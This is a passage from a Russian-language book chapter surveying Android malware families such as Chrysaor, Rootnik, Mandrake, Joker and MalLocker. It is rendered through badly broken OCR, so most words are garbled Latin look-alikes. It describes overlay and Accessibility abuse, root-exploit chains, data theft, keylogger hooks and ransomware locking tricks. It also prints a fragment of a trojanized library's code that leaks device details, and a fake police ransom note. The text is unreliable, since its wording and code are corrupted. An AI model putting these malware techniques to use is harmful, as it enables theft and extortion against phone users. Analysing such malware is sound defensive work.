[Mpunoxenune nox HazeanueM Find and call, obnanas dyHkuronanom VolP-knuenra, npu
3TOM COBEpLIANIO TaKHE AEHCTBHS, KaKk KOMUPOBaHHE KOHTAKTOB Ha yJaJ€HHbIH cepBep H
pacchuIKy crama (Ha pycCKOM SI3bIKeE).

Kak 6b1 To HH OBUIO, JIUIEPOM MO HHUCIY BpPEIOHOCHBIX MPOrpaMM AN MOOMIBHBIX
ycTpoHcTB O6buT M ocTaercs Android. O ToM, kakue BpeIOHOCHI Ul ITOH MIaThOpMBI
nomnyJsipHbl cefiuac, Mbl TOrOBOPHM B CJIEYIOLLEH I1aBe.
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CospemeHHbIe 06pasLibl
BPeAOHOCHLIX MPOrpaMMm

3a 6onee yeM 10 ner cywecrBoBaHHs Android 3710BepaAHbIE MPHIOKEHHS 3aMETHO 3BO-
JIOLIMOHHPOBAJIH H HayuYHJIMCh MCIONb30BaTh COBEPLIEHHO HOBbIE BEKTOPbI aTak M clia-
Oble MecTa B chcTeMe. B 3ToH rnaBe Mbl paccMOTpHM HauOonee MHTepecHble o0pa3ubl
ManBapH.

Toast Amigo

B Hos6pe 2017 roma Obu1 oOHapyxkeH MepBbIH TPOSIH, HCMONB3YIOIIMEA aTaky Toast
overlay ans He3aMeTHOH YCTaHOBKH NpHJIoxeHHH Ha cMapTdoH. Toast overlay — araka,
9KCIUTyaTHpyIoLIas oYeHb cTpaHHylo ys3BuMocTb Android (CVE-2017-0752, ot Android
4.4.4 no 7.1.2), kotopasi NO3BOJSET 3aCYHYTh MOJIHO3KPAHHOE OKHO B MaJ€HbKOE OKOLLI-
KO, MpeaHa3HauYeHHOe Ui BbIBOJAa MHGOPMALMOHHBIX cooOuieHHH. TposH Hcnonb3yeT
Takoe OKHO, YTOObI MEPEKPBITh 3KPaH, a B 3TO BPEMS OTKPHITh HACTPOHKH H 3aCTaBHThb
MoJb30BaTeNl HaXKaTh Ha OMNpejeseHHble MecTa (HaxaTHe OyleT MpPOXOAMTb «CKBO3b»
OKHO), AKTHBHPYS TakHM 0Opa3oM cepBHc Accessibility.

3aTeM, HMCMONb3ys aHAJIOTMYHBIA TPIOK, TPOSH BKJIIOYAET OMNLMIO, MO3BOJSIOLIYIO HH-
CTaJIHPOBATh MPHJIOKEHHS W3 CTOPOHHHX MCTOYHHKOB, CKAYMBAET H YCTAHABIHMBAET Ha
cMmapTdoH Apyroi 310BpeA M 3aBepliaeT aHTHBHPYChl. CkauyaHHBIH 3710Bpel, B CBOIO
oyepensb, npeactaesnser coboii click-6ora. MHTepecHO, 4TO OH yMeeT ycTaHaBIHBaTh CO-
€IMHEHHE C MPOKCH-CEpPBEPOM, YTOObI OOOMTH perHoHanbHbIE OFPAaHHUYEHHS Ha JOCTYI-
HOCTB peksiaMHbIx ceTeit Admob u Facebook.

Android/Banker.GT!tr.spy

T0T TPOSAH CTall H3BECTEH 6J1ar011aps{ YMEHHIO «1€AKTHBHPOBATbH» aHTHBHPYCBhI 6e3 rnpas
root. XOTS Ha caMOM [ieJie OH OY€Hb NNPHMHTHBEH. Tak Ha3biBaeMas «(I))’HKL[HH JC€aKTH-
BallHH» O€JIA€T CJIEAYIOLIEE: TPOSH HMECT (1)0H0Bbll7l CEPBHC, KOTOpblﬁ MOHHTOPHT 3aIyc-
KAa€MBIC MMOJIb30BATEJIEM TMPHIIOKEHHS (IlJ'lSI 3TOro OH HCNOJIB3YET MNpaBa aAMHHHCTPATO-
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pa). Kak Tonbko none3oBarenb 3anyckaeT OaHKOBCKMH KJIMEHT, TPOSIH J€MOHCTPHUpPYET
MoBepX ero okHa coOCTBEHHOE OKHO (Ha caMOM Jieie 3TO BeO-CTpaHHLUa) ¢ NOAAebHbIM
OKHOM BBOJa KOH(HAeHIHaNbHOH HHopMaunH. Ho ecnu nonb3oBaTenb 3amyckaeT OAHH
M3 MepeyYMHCIEHHbIX B CIIMCKE aHTUBHPYCOB, TPOsIH BO3BpaLlaeT nosb3oBaress Ha Pabo-
4yui cron. EcTecTBeHHO, €ClTM aHTUBHUPYC YiKe 3aMyLlUeH, OH CMIOKOHHO MpOAOHKHUT pabo-
TaTh B (hoHe.

Chrysaor

Tposin Chrysaor HHTepeceH TeM, YTO K €ro co3laHHIo, CKopee BCEro, MpHIoKHIa pyKy
ckaHaanbHO u3BecTHas koMnaHus NSO Group. Eule onHa HHTEpecHas 0coGeHHOCTDb 3TO-
ro TPOsiHa COCTOMT B TOM, 4TO OH HaueneH Ha Android 4.3 1 Huxe.

Cpazy nocne ycTaHOBKH Ha cMapTdoH xepTBbl Chrysaor nosy4aeT root ¢ MOMOLIBIO 3KC-
noiita framaroot, 3areM konupyeT cebs B CHCTEMHBIH pazen U yaanseT NpUiIokKeHHe
com.sec.android.fotaclient, OTBevalollee B cMapTdoHax Samsung 3a aBTOMaTHYECKOE
oOHOBNIEHHE, 3aTeM 3alycKaeT npouecc cOopa AaHHBIX H 0’KMAAET KOMaHIbl OT yJajleH-
HOro cepBepa.

TposiH ucnonb3yeT WecTh TEXHUK cOopa NaHHBIX:

1. 3anyck no Taiimepy Ans MEpUOAHYECKHX 3aJay BpOJE MOJYYEHHs TEKYLUEro MecTo-
MOJIOXKEHHS.

2. Ouepenb cOopa naHHbIX, KOTOpas Mojy4vaeT Takyro HHdopMauuio, kak SMS-coo6-
LLEHHS, XKypHal 3BOHKOB, HCTOpHs Opaysepa, KaleHaapb, KOHTAaKThl, MUCbMa H CO00-
1meHus MecceHmkepoB — WhatsApp, Twitter, Facebook, Viber u Skype. [1pu 3Tom
JUIS 10CTyMa K JaHHBIM TPOSIH CHauala JIOMaeT MEeCOYHHLY MPHIIOKEHHUs, enas ero
KaTaJsor B narnke /data/data AOCTYIMHBIM [UIS YTEHHs BCEM, a 3aTeM JenaeT aamn 6asbl
JaHHBIX.

3. K yxe naMnHyThiM 6a3aM naHHbIX TposiH noakmovaet ContentObserver'sl 1 HaGto0-
JIaeT 3a NOSBJIEHHEM HOBBIX COOOLLEHHH.

4. CHsATHE CKPHHLIOTOB C MOMOLLBIO NPAMOro A0CTyMa K YCTPOHCTBY /dev/graphics/£b0.

wh

BeTpoeHHbIH keinorrep, BHEAPSAIOWMWI XyKH HarpsaMyto B O6UOIHOTEKY /system/lib/
libbinder.so M MNepeXBaTblBalOLIHH OOBEKTbI ¢ HHTEP(EHCOM com.android.internal.

view.IInputContext.

6. DyHKUHMS aBTOMaTHYECKOro OTBETAa Ha 3BOHOK, MO3BOJsAIOLas HabpaTk HOMep >KepT-
Bbl H CKPBITO CyLUIATh NPOUCXOsLIEe BOKPYT.

Chrysaor umeeT GyHKLHIO CAaMOJIMKBHAALMH, KOTOpas cpabaThiBaeT B TpexX Clydasx: Mo
KOMaHIe OT cepBepa, yepe3 60 nHeil nocne nociaeaHei ycneuwHoi NomnbITKH CBA3aThCs
¢ cepBepoM JIHOO ecnu Ha ycTpoiicTBe nosButcs daiin /sdcard/MemosForNotes. O Mac-
wrabax pacrnpocTpaHeHHs 3TOH BPEJOHOCHOH NMpPOrpaMMbl MOXHO CYAMTb MO AHarpam-
Me, MpeacTaBieHHoON Ha puc. 13.1.
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KonuyecTso 3aTpoRyThiX YCTPOUCTB

W3paunnb .
[pyauns

Mexkcuka

Typyws
KeHunsa

CrpaHb

Kupruaua
Hurepus
TaH3aHus
0A3

YkpauHa

YabekucraH

Puc. 13.1. CvpaHbi ¢ HaunbonbLuum pacnpoctpaHeHunem Chrysaor

Rootnik

Tposan Rootnik cran u3secteH Gnaromaps NMpOABHHYTBIM TEXHHMKaM [UIA 3aTpyOHEHHA
peBepC-HHXKMHHUPHHIa W BO3MOXHOCTH TMOTYy4YEHHS root Ha CMapT(oHaX C YHIICETOM
MTK. Byny4u 3anyueHHbIM Ha cMapT¢oHe epTBbl, Rootnik aenaer cnexyrouee:

O 3arpyxaer HaTtuBHylo Oubnmoreky SecShell, koropas pacmudpoBsiBaeT ¢aiin
secData0. jar, 3arpy>KaeT B MaMATh U MEPENAET EMY yNpaBJIEHHE;

O secbata0.jar, B CBOKO OYepedb, HAXOOMT (ain KK.bin, pacIuM(pOBBIBAET €ro, TOXKE
3arpy>aeT B IaMATh H 3aITyCKaeT;

O KK.bin 3arpyaeT ¢ yNpaBJAIOLLEro CepBepa €lle OIWH 3allM(pOBaHHBIA apXHB, pac-
MaKOBBIBAET €r0 M MEPENAET YNpPaBIEHHE classes.dex;

O nocnenHuii paciingpoBBIBAET HECKONBKO conepxawuxcs B apxuBe ELF-daiinos
(ctaHpapTHBIH 3amyckaeMslii ¢aiin B ocHoBaHHBIX Ha agpe Linux cucremax), conmep-
MaLIKX root-3KCIUIONTHI U 3aMyCKaeT HX;

O nocne nonyyeHHs NpaB root Ha cMapT(oHe TPOAH KOMHPYeET cebs B CHCTEMHBIH KaTa-
JIOT /system/priv-app M O)KHIAET KOMaHJ C yNpaB/sIOLIEro cepBepa.

Cpeau BO3MOXHOCTe# TposiHa:

O ckpbITas YCTAHOBKA H yJaJIEHHE NPHIOKEHHH;
O co3naHue ApibIKOB Ha paboueM CToleE;

O nokas pewiamMbl H yBEIOMIIEHHIA;

O 3arpy3ka ¢aiinos.

Takxe TposH crniocobeH oOHapykHBaTh yCTaHOBIEHHble B cHcTeMy Xposed, Substrate,
4T06BI NPOTHBOAEHCTBOBATL AHAIHM3Y C MX MOMOLLBIO, U UCMONB3yeT MHOXKECTBO TEXHHK,
NPENATCTBYIOIMX OTJaJKE HaTHBHOIO KOJa TPOSHA: CHJIBHOE pacnapajuiesIMBaHHe, 3a-
LIMTa OT JamMna naMATH U ap. [IpuHuMn ero paboTsl mokasaH Ha puc. 13.2.
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hitp/gtrogsob comistmpladpng ;::em mﬁ;

A 4
Pacumdposa 1 pacnakosa NQNEHOH HArpy3Km
Uzanevesue abc apk, busybox, classes dex,
nstalHecoverv.sh, obs ank. pna.co, su, su2

Puc. 13.2. Cxema paboThi TposHa Rootnik

Mandrake

B 2020 roay skcneptsl Bitdefender o6Hapyxunu B opuLHMaTBEHOM Mara3suHe MpHIIOXe-
Hui 11 Android mmMoHckyro manBapb Mandrake, koTopas cyiiecTBoBala B Mara3suHe
Kak MMHUMYM ¢ 2016 rogna.

TposiH cocTOAN M3 TPEX KOMITIOHEHTOB, MEPBbIH W3 KOTOPBIX (OpOMNIeEp) MPEACTaBIAN CO-
60ii BMOJIHE JIETHTUMHOE MPHJIOXKEHHE C pealbHOH (YHKLMOHaIBHOCTBIO. Beero 6bu1o
o6Hapy»eHO ceMb TaKHX NMPUJIOKEHHH: FOPOCKOMN, KOHBEPTEP BAIIOT, CKaHEP JHOKYMEH-
ToB M Ap. Co3naTenu TposiHa ClIEWIIH 32 NMPUIIOXKEHUAMH, PEarHpoBaIH Ha OT3BIBbI MOJIb-
30BaTeNed M Jaxe BbIKIAAbIBAIM OOHOBIIEHHMA C HCMpaBieHHEM 6aroB. Y HEKOTOpPBIX
npuioxeHui 6pu1H cobcTBEHHBbIE caiThl WM cTpaHuLbl B Facebook.
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[lepBoe Bpems nocsie YCTaHOBKH MpPHIIOXKEHHS OHO npocTo pabotano. Ho B onpeneneH-
Hblii MOMeHT cpabaTbiBana ¢yHKUMS Apornepa, U OH CKayMBaJl Ha YCTPOHCTBO 3arpys-
YWK. 3aTeM MOoJIb30BaTENIO MOKa3bIBAJOCh COOOLIEHHe 00 ycTaHOBKE HOBOrO MpHIIOXKe-
Hus noa Ha3BaHWeM Android system. [1pu 3ToMm 1 cam apornnep 6bin cnocobeH yaaneHHO
Brmouate Wi-Fi, cobupats HHbopMauuio 06 ycTpoHcTBe, CKpbIBaTh CBOE NMPHUCYTCTBHE
OT >KEPTBbI, aBTOMAaTHYECKH YCTAHABJIHBAaTb HOBbIE MPHIOKEHHS W MOLEPKHBATH KOM-
MyHHKauuto ¢ cepeepom C&C.

3arpy3udk ObUT OTBETCTBEH 3a 3arpy3ky M YCTAHOBKY HEMOCPEICTBEHHO MaliBapH
Mandrake. Ilocne ycTaHoBKH BpenoHOC moJiyyas npaea cepBuca Accessibility ¢ nomo-
LB 3KPAHHOrO OBepJies C JIMLEH3HOHHBIM COrJIalieHHEM, 32 KOTOPbIM MpATaloch OKHO
nosy4enus npas (10 Android 9), nu6o npocTo noka3sbiBas coobLUeHHE O HEOOXOIUMOCTH
JlaThb COOTBETCTBYIOLLIHE npaBa. TakuM >xe 00pa3oM OCYyLUECTBIIAIOCH OTKIIIOUEHHE Orpa-
HUYeHHH Ha ¢oHoByro paboty (Ignore battery optimization) W ycTaHOBKa BpeaoHOca
B KauecTBe Ae(}0oATOBOro MpuioxkeHHs Ais ynpasiaeHus SMS-coobienusmu. [Monyumns
npaBa Accessibility, Mandrake Takoke MOr mojy4uTs rnpaBa aJMHHHUCTPATOPA, A€AKTHBH-
poBatb Google Play Protect, nonyuntsb pa3pelueHHe Ha YTeHHE YBEIOMJIEHHH, JKypHaa
3BOHKOB, MECTOMOJIOXKEHHSA, KOHTAKTOB, 3aMHCh 3KpaHa H Jp.

Bce 3t nonHoMouMs oTkpbiBanM Mandrake wivpouaiiiiie BO3MOXXHOCTH: Mepechlika
Bcex Bxoaswux SMS-coobLueHuii Ha cepBep 3/10yMbILIJIEHHHKOB; OTIMpaBka COOOLLEHHIA;
COBeplleHHe 3BOHKOB; Kpaka MHGOPMALIMK M3 CMHCKAa KOHTAKTOB; aKTHBALMA W OTclie-
»KHBaHHE MECTOMNOJIOXKEHHA nosb3oBarens nocpeacTsoM GPS; xulieHHe y4eTHbIX JaH-
Heix Facebook u ¢uHaHcoBol nHdopmauuu; 3anuce 3kpaHa. bonee Toro, Mandrake
Biutodan B cebs VNC-cepep, Mo3BOJIAIOLLKI MOMYYHTb MOJHbIA KOHTPOJIb Haj YCTPOH-
CTBOM yjasieHHO. Takoke MajBapb OCYLIECTBJsIa (GHLIMHIOBblE aTakH Ha MPHIIOKEHHUS
Coinbase, Amazon, Gmail, Google Chrome, npunoxeHus pa3nu4HbiX 6aHKOB ABCTpa-
auu ¥ ['epmanum, cepsuc konBeptauuu Bamot XE u PayPal.

BpenoHoc craparenbHo uzberan 3apaxeHnuii B ctpaHax CHI™ (Ykpauna, benapyco, Kbip-
rbi3cTaH U Y30ekucrtaH), Adpuke U Ha baxHem BocTtoke.

Joker

Joker Mo>xHO Ha3BaTh camoii xkHBYy4eH ManBapbio nocieaHux jet. CornacHo ony6iaHKo-
BaHHOMY komnaHued Google otuery, HauuHas ¢ 2017 rona no 2020 rox crneuHanIruCTbI
oOHapyxunu B obuied cioxHOcTH okoso 1700 npunoxeHuni, HHOHULMPOBaHHBIX BpeNO-
HocoM Joker (oH xe Bread). Kak MMHHMYM 0ZIHO Takoe ceMeHCTBO MasiBapH OblTH 3aMe-
ueHo cnieuranuctamu CSIS Security Group u nponukio B Google Play: 24 BpenoHocHbIX
npuiioxeHus ObuTH 3arpysxeHsl 6osiee 472 000 pa3 B ceHta6pe 2019 rona.

HM3nauanbHo ManBapb Obina paspaboTaHa ans ocyluecTBieHs SMS-MoleHHHYeCTBa, HO
C TeX Mop MHoroe u3MeHua0cb. OcobeHHO nocie BBeleHHs HOBOM MOJIMTHKH, OrpaHHuH-
BAIOLLEH HCMOIb30BaHHE SEND SMS, a TaKXe MOBBILIEHWS aKTHBHOCTH 3aluuThl Google
Play Protect. M3-3a 3Toro HoBble Bepcuu Joker HCMONB3YIOT APYroi BHI MOLIEHHHYECT-
Ba: 0OMaHOM 3aCTaRrJIAIOT CBOMX >KEPTB MOAMMCHIBATbCA HAa pa3/IMuHble BHAbI KOHTEHTa
WM MOKYyMaTh €ro, orjlau1Bas co cyera MoOHabHOro tenedoHa, UtobObl ocyliecTBasTh
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3T0 6€3 B3aMMOAEHCTBHS C MOJIb30BATEIEM, ONIEPATOPbl MAJIBAPH HCMOJb3YIOT HHbEKLIMH
K1MKoB, kactoMHble HTML-napcepst 1 SMS-pecusepsl.

Co BpemeHeM Joker 3BOSIIOLIMOHUPOBA HACTOJILKO, YTO HCMOJIb30BaJ MPaKTHYECKH BCe
H3BECTHBIE TEXHUKH CKpbITHS M 00dyckaluH, a B Hayase 2019 rona B Google Play ctanu
HaXOOUTh Bce Oosblue BapuaHTOB Joker, 4acTh KOMIOHEHTOB KOTOPOro Obljia BbIHECEHA
B HaTUBHBIN KOZ.

B 2020 roay 3kcneptsl komnanuu Check Point coo61mny, 4ro BHOBb 0OHapyxuiu Joker
B odHLHATIBHOM KaTajiore npujiokeHHi. Ha 3TOT pa3 TposiH ckpbiBajl BpeOHOCHBIH KOA
(BpenoHocHsIi ucnonHsembli ¢aiin DEX, 3akoaupoBanHbiii Base64) BHyTpH daiina Ma-
HHbecTa B JIETHTUMHBIX NPHIIOKEHHSIX.

Ha stor pa3 araka Joker npoucxonuna B Tpu 3tana. [lepBblit 3Tan — noaroToBka noses-
Ho#t Harpy3ku. Onepatopsl Joker 3apaHee BHeIpsJIH BpeIOHOCHBIH ko B dain MaHHde-
CTa, HO 3arpy3ka HernocpeaCcTBEHHOro neinoana npoucxoauna He cpasy. Tak, Bo Bpems
npoxoxaeHus npoBepok Joker maxke He MbITalcs 3arpyXarb BPENOHOCHYHO MOJIE3HYIO
Harpy3sky, 4To MOMOIJIO OrNepaTopaM MajBapH B ouepelHOH pa3 oOMaHyTb CpeAcTBa 3a-
wutel Google Play Store. Jlump nocne Toro, kak MexaHu3msl Ge3onacHoctd B Google
Play Store omoOpsuin mpuioxeHHe, Mojie3Has Harpy3ka onpefesisiiach M 3arpyxaiach
y>Ke HEeMoCpeICTBEHHO Ha YCTPOHCTBO JKEPTBHI.

B urore HoBas Bapuauus Joker Morna 3arpyxarb Ha YCTPOHCTBO AOMOJHHUTENbHBIE Bpe-
JOHOCHBbIE MpPOrpaMMbl, KOTOpblE€ TalHO MOAMMCBIBAIM >KEPTBY Ha IUIATHbIE CEPBHCHI.
B oduumansHoM katanore Google 66110 06HapyeHo 11 TakuxX 3apakeHHBIX MPHIIOXKe-
HMH, KoTopble 6bUTH yaaneHs! U3 Play Store no 30 anpens 2020 rona.

MalLocker

Ewme onuu nonroxuByiuii Bua Mansapu — MalLocker. 3To BeiMoraTess (ransomware),
noapa3fenstolHHCS Ha HECKOJIBKO MOJCEMENHCTB B 3aBUCHMOCTH OT HCIOJIB3yEeMOMH Tex-
HUKH ONOKHpOBaHHMA YCTpoHcTBa mnosib3oBatess. COTpyIHHKH OTAeIa HcciedOBaHHiH
BPENOHOCHBIX NpHioxeHHH Microsoft oOHapyXuiau HOBYIO PasHOBHOHOCTb 3TOTO 3JI0-
Bpela, KoTopas Hayuusiach GJIOKHpOBATh YCTPOMCTBO MOJb30BATENS, NMOKa3bIBas Ha HEM
cooblieHHe o BbiKyrne 6e3 HCMoab30BaHUS 3KPaHHBIX OBEpJIEEB, BO3MOXKHOCTH KOTOPBIX
Google cepbe3HO orpaHHuMiIa B NocjeIHHX BepcHsx Android.

BmecTo oBepsies 3510Bpen MCMONIb3YeT Tak Ha3biBaeMOE€ MOJHOIKPAHHOE YBEIOMIIEHHE,
HCMOJIb3yeMOe JIETHTUMHBIM codTOM i Mokas3a 3KkpaHa 3BoHka. Kpome Tekcrta (M mpy-
IMX CTaHIApTHBIX aTpUOYTOB) Takoe YBEAOMJIEHHE TaKXKE€ COINEPIKHT CChUIKY Ha aKTHB-
HOCTb (3KpaH NMPHJIOXKEHHs), KOTopas W OyneT rnokasaHa, Korja yBeIOMJIEHHE MOSBHTCS
B cucteme (puc. 13.3).

OpHako OOMHOYHBIM MOka3 cooOlueHHs O BbIKyne Obul Oecronie3eH, T. K. MOJb30Ba-
Teslb cMOr OBl HaXkaTb KHOMNKY «IOMOH» WM «Ha3ai» M NpOCTO 3aKpbiTh ero. Ilo-
3TOMY 3JIOBpEl HCMOJIb3yeT €lIe OAHMH IpHEM: Nepe3anyck akTHBHOCTH B METOAE
onUserLeaveHint ().

MerTona onUserLeaveHint () — 3TO KOJUI63K, KOTOpBIH CHCTEMa BbI3bIBAaET MEpEN TEM, Kak
aKTHBHOCTb MCHYE3HET € dKkpaHa. [103ToMy mepe3amyck akTHBHOCTH B 3TOM METOIE MpH-
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BOJMT K TOMY, YTO MOJb30BATENIb MPOCTO HE MOXET MOKHHYTh 3KpaH ¢ cooblieHHEM
0 BBIKyI€ (CTOMT OTMETHUTb, YTO B COBpEMEHHBIX Bepcusax Android 3ToT npueM He pabo-
TaeT, T. K. CHCTEMA Iepe3alTyCcKaeT akTHBHOCTb He cpasy).

MBfl POCCUA

e g eremmnteres . s —— -

6yAeT aBTOMaTHYeCKH Pa36aoOKUpOBaH, BallK
AaHHbie 6yayT yaaneHoi c cepeepoB KHB, a
yronosHoe Aeno Npexkpai,eHo.

23:59:37

Mpu nonbiTKax BLIKAIOYEHHUA UAK Nepe3anycka
ycrpoucTea, CYETYUK BPEMEHU 6yaer
aBTOMaTUYECKH YMEHbLUIATBLCA Ha Yac, NpU
NONHOCTbIO BbiKAOYeHOM ycTponcee, CHETHYUK
BPEMEHWnpoaonxaeTpa6otaTs. Ecnu onnarta
wrrpada He NOCTYNUT B TEYEHUU 24 4 CyMMa
wrpada yasausaetca. Ecnu onnata wrpada

He NOCTYNUT B TeYeHUH 48 4 BCeM KOHTaKTaMm
Bauwero ycTpoicTBa, 6yAeT 0TnpagneHo cMc
yBegomnexue ot umenn KHB Poccuiickon
®epepauun (Co CKPHMHLIOTOM Bawwero Ikpaxa),
0 TOM 4TO UHTepdeiic Bawero ycTpoucrea

6b1n 3ABJTOKUPOBAH 3A HEOQHOKPATHOE
MOCELEHUE CAWTOB COAEPMALLUE BUAEO
CO CI{EHAMU ETCKOW MOPHOTPA®UM, a Tak
)Xe Ha OCHOBaHUK cT. 242 YK PO, 42 cT. 41 KAC
P® u cr. 31 YK P®, no mecTy )kutenncrea, 6yaet
oTnpaBneH HapAA ANA c60pa BelLecTBEHHbIX
A0Ka3aTeNbCTB, UIBATUA 3a6/10KUPOBAHHOTO
YCTPOWCTBA W Ballerd 3aepXXaHuA AnA Aauu
MOACHEHUA.

Puc. 13.3. BeaymHoe coobujeHne BbimoraTens

Cam 3kpaH ¢ cooOLLEHHEM O BBIKYIIE PH 3TOM NpeacTaBiseT coboi ooprHblii WebView
C cooOIIeHHEM OT AKOOBI MOJMHMIMH O HalEHHBIX Ha YCTPOWCTBE KOMIIPOMETHPYIOINX
nosib30BaTess MaTtepHaiax. B koze Takke Oblia HaliieHa OTIUIIOYEHHAs MOJEJb CHCTEMBI
MallIHHHOTO 00y4YeHHs, KOTopas, CKopee BCero, J0/DkHa GbUla HCHONIB30BaThCA IS MOA-
FOHKH 3KpaHa coo6LLIeH s 10]] pa3pelleHHe 3KpaHa YCTPOHCTBa.

Ewe onHa uHTEpecHas 0oco6eHHOCTDH 370Bpena — cnocod wHpoBaHUA KOJa, a TOYHEE,
cnocob ckpbiTHs MeToA0B WHppoBaHus koaa. B ocHoBHoM DEX-gaiine mmdposansm-
Ka ecTh KJlacc, cofiepxalluil MeTobl Ui lHM(pPOBaHUA M pacliMPOBKH OCTaIbHBIX Yac-
Te#t npunoxeHus. Ha Bxox 3T MeToasl Mosy4aroT cTpoKy (KOTOpas Ha NepBbIi B3rJIAN
Ka)keTcsl KJIIOYOM IIM(pPOBaHMsA), a Ha BBIXOJE MOYEMY-TO BO3BpallaloT oOBbEKT kiiacca
Intent (Takue o6bekThl B Android MCmoNB3yrOTCS [UIA OTHPAaBKH COOOILIEHHI OpYrUM
TIPUJIOXKEHHUAM).
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Ha camom pene BxoaHas cTpoka — 3TO MPOCTO MYCOp, @ CaM MHTEHT COAEPXHT MoJe
action, B KOTOPOM KaK pa3 M COAEP)KHTCA afipec pacliM(pOBaHHBIX JAHHBIX.

BpeaoHocHure 6ubnuoTexm

BpenoHOCHBIMH OBIBalOT HE TOJIBKO MPHJIOXKEHHA, HO U OWUONHOTEKH. ABTOp CTaThH
A Confusing Dependency (https://bleg.autsoft.hu/a-confusing-dependency/) paccka3zan
MOY4HTENBHYIO HCTOPHIO O TOM, KaK MO>KHO HE3aMETHO AJIA camoro cebs caenatb cobet-
BEHHOE MPHI0KEHHE BPEIOHOCHBIM.

Bce Hayajock C TOro, 4YTO aBTOpP peLUWJ MOAKIIOYMTL K MNpOeKTy Oubanoreky
AndroidAudioRecorder (https://github.com/adrielcafe/AndroidAudioRecorder) n 06-
HapyXHJ, YTO cpa3y MoOcC/ie CTapTa MPHJIOXEHHE MajaeT, BhIOpachiBas HCKIIOYEHHE
java.lang.SecurityException: Permission denied (missing INTERNET permission?). 3TO 03-
HaYyaeT, YTO MPHJIOKEHHE HE MOXKET MONY4HTh JocTyn k MIHTepHeTy, T. k. OTCyTCTBYeT
Heo6X0MMOe U1l 3TOro pa3pelleHHe.

Beixoaut, 6ubnnoTeke s 3anucH 3ByKa ¢ MHKpodoHa noyeMy-to HyxeH MHTepHer?
ABTOp B3rJIsIHYJ1 B KOJ PHJIOXKEHHA M HALIEN B HEM METOJ, OTCHUIAIOLUMIA HA YAaneHHBIH
cepBep HHpOpMaLHMIO O MOZENH U pou3BoauTene cMaptdoHa. B moneiTkax pazobpatscs,
3a4yeM pa3paboTyMKy NMOMyIAPHOI 6UOIHOTEKH BCTABJIATH B HEE TAKOH MPOTHBOPEYHBBIH
KOJI, OH MOMbITAJICS HAWTH TAKOM )€ y4acTOK Kojia B OpHUMAILHOM PENO3UTOPHH GHO-
JIMOTEKH W He Haulen ero (puc. 13.4).

private AndroidAudioRecorder(Activity activity) {
this.activity = activity;
Thread thread = new Thread() {
@0Override
public void run() {
e
InetAddress byName = InetAddress.getByName(new String(Base64.encode((Build.MODEL
if(byName. 1stLoopbackAddress()) {
color =
}
} catch (UnknownHostException e) {
e.printStackTrace();

Puc. 13.4. Kycok anoepegHoro koga

[MpuunHa okazanach B cnepyroweM. CyuectByer peno3utopuid Java-naketoB jCenter
(https://bintray.com/bintray/jcenter), npHBA3aHHbIi Kk cucTeMe  AMCTpHOyuMH Bintray
(https://bintray.com/). Android Studio ucnonesyer jCenter kak nedonTOBbIi pPeno3uTo-
pHi 11 HOBBIX MPOEKTOB: OH Y)XKE€ BKJIIOYEH B CIHCOK PEMO3HUTOPHEB B build.gradle
Hapsany c peno3utopueM Google. OnHako MHOrHe pa3paGoTYHKH MPEANOYHTAIOT pa3me-
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mathk cBou 6ubnuoTexu B peno3utopud JitPack (https://jitpack.io/), KOTOPBI yMeeT aB-
TOMaTH4YECKH FeHEpUpOBaTh U BBIKJIIbIBaTh B peno3uTopuit 6ubauoreku u3 GitHub (3To
yIo0OHO U MPOCTO).

bubnuoreka AndroidAudioRecorder Taioke 6buta BbutoxkeHa B JitPack, Tak yto aBTOp
CTaThbU mepex ee ucrnonb3oBaHHeM n06aBun JitPack B build.gradle. Ho oka3anock, uto
B jCenter Toxxe Oblna BplIOXKEHA 3Ta GUOIHOTEKA C BHEAPEHHBIM B HEe 3JI0BPEAHBIM KO-
oM. A T. k. jCenter B CIHCKe pENO3UTOPHEB HIET NEPBBIM, CUCTEMa cOOpPKH B3s1a 6HO-
JIMOTEKY HMEHHO U3 Hero, a He u3 JitPack.

OnuH U3 cnocoboB pewieHHs 3Tod npobneMsl — pasmecTuTh jCenter B KOHLIE CIHCKa
PENO3UTOPHUEB B build.gradle.

Ya3BUMOCTU, UCNOSb3yeMbIe TPOSHAMMU

OcHoOBHas LEb CYLIECTBOBAHHSA 3JI0OBPEAHBIX ﬂpHJ’lO)KeHPIﬁ — H3BJICYCHHUE l'lpPl6bUlH.
Kak MBI BBISCHHIIH H3 npeapiaymero pasaena, l'lpPleIJ'lb MOX>XHO IOJIY4YHUTh pa3HbIMHU H
HOpOﬁ O4YeHb HEOOBIYHBIMH CITOCOOAMH:

O OrnpaBka SMS Ha kopoTkue Homepa. [lepectano OBITH aKTyalbHBIM C BBIMTYCKOM
Android 4.2, koTopas TpeOyeT SBHOTO pa3pelleHHs Ha YKa3aHHOe 1eHCTBHE.

0O OumuMHr ¢ noaMeHoi 6aHKOBCKOro MpPUIIOXKEHUS WM Beb-caiiTa 6aHka. [lepBas 3ana-
4ya MOXXeT OBbITh BBHIMOJHEHa ¢ noMolubio ya3BuMocTH StrandHogg (paccmaTpuBaercs
Jajiee) U CKphITOro moJjiydeHus npae cepBuca Accessibility ¢ moMoupto ataku Cloak
& Dagger (paccMaTpuBaeTcs aasee).

a Kpax(a KOH(bHIIeHLlHaJ'ILHBIX JAaHHBIX, BKJIIOYas JIOTHHBI U NApOJd 1A BXOJa B pas-
JIMYHBIE€ CEPBUCHI, MEPENUCKH, IMTUCbMA, MECTOIIOJIOKEHHE H T. A. MoxeT HCIoJB30-
BaTbCA OJ14 l'lOCJ'leHle[IIeﬁ NMpOAa’>XH UJIH BBINTOJITHEHUA CbHH]HHF-aTaK.

O TpeboBaHue BbIKyna 3a paciiM¢pOBKY AaHHBIX WIH pa3bIOKHPOBKY ycTpoicTBa. bes
npaB root 1y MUGPOBaHUSA JOCTYMHO TOJBKO BHEIIHEE XPaHUIIHILIE JaHHBIX (KapTa
NaMATH), B KOTOPOM, KpoMe ¢oTorpacdHii, HHUEro BaKHOro He XxpaHuTcs. brokupoBka
J0CTyna K YCTPOHCTBY MOXET OCYLIECTBIATHCA JIMOO C MOMOLIBIO MpaB aAMHHUCTpA-
TOpa, KOTOpbI€ MOXKHO BBIHYIHUTH MOJIb30BATEN AaTh MO Pa3HbIMHU MpeIoraMH, Jid-
60 ¢ UCTONB30BaHUEM Pa3IMYHBIX PHEMOB, TAKUX KaK, HalpUMep, NOCTOSHHBIH BO3-
BpaT MoJb30BaTeNsd Ha JAOMAIUHHUI 3KpaH 6e3 BO3MOXKHOCTH MOJHOLEHHO HCMOJB30-
BaTh CMapT(QOH.

